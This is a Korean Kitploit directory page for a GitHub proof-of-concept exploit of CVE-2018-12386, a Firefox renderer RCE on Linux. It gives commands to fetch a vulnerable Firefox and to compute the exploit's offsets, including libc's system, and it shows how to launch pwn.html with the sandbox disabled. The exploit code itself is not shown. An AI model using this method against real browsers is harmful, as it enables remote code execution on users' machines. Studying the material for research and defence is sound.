Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2018-12386 — CVE-2018-12386 - Linux용 Firefox 샌드박스 RCE 익스플로잇 (Firefox <v62.0.3) | Kitploit
도구/GitHubGitHub/0xlyte/cve-2018-12386
Vulnerability AnalysisExploitationLearning & EducationPayload DevelopmentBinary Exploitation
GitHub0xlyte/cve-2018-12386

cve-2018-12386

CVE-2018-12386 - Linux용 Firefox 샌드박스 RCE 익스플로잇 (Firefox <v62.0.3)

저장소 보기
26년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Firefox Sandboxed RCE Exploit (CVE-2018-12386)

다음은 Niklas Baumstark, Samuel Groß 및 Bruno Keith가 발견한 취약점 CVE-2018-12386에 대한 간단한 익스플로잇입니다.

이것은 재미로 만든 PoC(개념 증명)로, 샌드박스 우회는 포함되어 있지 않으며, 익스플로잇에 사용된 오프셋이 이미 알려진 특정 Linux 설정에서만 작동합니다(오프셋은 exploit/offsets.js에서 변경 가능).

이 익스플로잇은 Firefox 62.0.3 및 Firefox ESR 60.2.2 이전 버전에서 작동합니다.

익스플로잇 테스트를 위한 Firefox 다운로드

과거 Firefox 릴리스는 Mozilla의 FTP 서버에서 직접 다운로드할 수 있습니다: https://ftp.mozilla.org/pub/firefox/releases/

예를 들어, 64비트 Linux용 62.0.2 버전을 사용할 수 있습니다: https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2.

root@kitploit:~
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar

오프셋 찾기

오프셋

libxul.so

libxul_math_max

Firefox 62.0.2를 사용하는 경우 exploit/offsets.js에 제공된 오프셋이 올바른 것입니다.

다른 버전의 경우, addrof 프리미티브를 사용하여 JavaScript 함수 Math.max의 주소를 유출한 다음, 현재 익스플로잇하려는 Firefox 인스턴스의 libxul.so 베이스 주소를 찾아(예: cat /proc/$(pidof firefox)/maps 사용) 두 값을 빼서 libxul_math_max 오프셋을 얻는 쉬운 방법이 있습니다.

libxul_got_memmove & libxul_got_tolower

Firefox 62.0.2를 사용하는 경우 exploit/offsets.js에 제공된 오프셋이 올바른 것입니다.

다른 버전의 경우, objdump를 사용하는 쉬운 방법이 있습니다.

root@kitploit:~
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
  8006f0:   ff 25 7a ac 40 05       jmpq   *0x540ac7a(%rip)        # 5c0b370 <memmove@GLIBC_2.2.5>

[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i tolower@GLIBC
  8052e0:	ff 25 82 86 40 05    	jmpq   *0x5408682(%rip)        # 5c0d968 <tolower@GLIBC_2.2.5>

5c0b370과 5c0d968이 필요한 값, 즉 libxul.so에서 memmove와 tolower의 오프셋입니다.

libc.so.6 오프셋

이러한 오프셋은 사용 중인 libc 버전에 전적으로 의존합니다.

root@kitploit:~
# libc.so.6 location

[lyte@vm firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/lib/x86_64-linux-gnu/libc.so.6

libc_tolower

root@kitploit:~
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " tolower$"
000000000002c0f0 T tolower

libc_system

root@kitploit:~
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " system$"
000000000003f480 W system

익스플로잇 테스트

Firefox와 올바른 오프셋이 준비되면 다음 명령어를 실행하여 익스플로잇을 테스트할 수 있습니다:

root@kitploit:~
MOZ_DISABLE_CONTENT_SANDBOX=1 /path/to/vulnerable/firefox /path/to/cve-2018-12386/exploit/pwn.html

Demo

연락처

인사하고 싶다면: @lyte__

도구 다운로드